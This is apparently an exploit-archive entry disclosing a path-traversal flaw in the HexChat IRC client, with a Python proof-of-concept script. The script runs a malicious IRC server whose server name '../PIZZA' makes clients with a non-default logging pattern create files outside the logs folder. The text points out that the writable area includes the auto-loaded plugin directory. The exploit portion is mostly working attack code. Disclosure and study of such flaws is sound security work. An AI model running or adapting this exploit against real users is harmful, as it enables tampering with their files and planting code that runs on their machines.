This bug could be triggered in the special (non-default) configuration where a user would have : * Enabled logging (Settings > Preferences > Chatting > Logging) * Used a pattern containing '%s' in the log filepath (instead of the default = '%n\%c.log'). When connecting to a malicious server, Hexchat IRC client may create or modify arbitrary files on the filesystem with the permissions of the IRC client user (non-root). For example, the following directories are accessible easily : * <Hexchat-Conf>/addons : Executable plugin files that are automatically loaded when starting Hexchat IRC client * <Hexchat-Conf>/logs : ALL logfiles (from other servers too) * <Hexchat-Conf>/scrollback : Scrollback text that is automatically loaded when entering a channel/server (this may trigger further bugs) * <Hexchat-Conf>/sounds : Sounds that may be played on demand via CTCP SOUND messages (this could also trigger further bugs) * etc. CVSS v2 Vector : (AV:N/AC:H/Au:N/C:N/I:P/A:P) CVSS Base Score : 4 Impact Subscore : 4.9 Exploitability Subscore : 4.9 ''' #################### # Proof of Concept # #################### ''' * Install Hexchat IRC Client * Settings > Preferences > Chatting > Logging : Enable logging and use the log filepath pattern : '%s\%c.log' (without the quotes) * Run this Python script on a (server) machine * Connect to the server running the script * Results : A 'PIZZA' directory will appear in <Hexchat-Conf>/PIZZA instead of something like <Hexchat-Conf>/logs/___PIZZA ''' import socket import sys import time # Exploit configuration HOST = '' PORT = 6667 SERVERNAME = '../PIZZA' # Create server socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.bind((HOST, PORT)) # Bind to port sock.listen(0) # Start listening on socket print 'Server listening, waiting for connection...' conn, addr = sock.accept() print 'Connected with ' + addr[0] + ':' + str(addr[1]) + ', sending packets...' conn.send(':' + SERVERNAME + ' 001 bob :Welcome to the Internet Relay Network\r\n') # Wait and close socket conn.recv(256) sock.close() print 'Done.' except socket.error as msg: print 'Failure binding to port : ' + str(msg[0]) + ' ' + msg[1] # 0day.today [2024-07-08] #
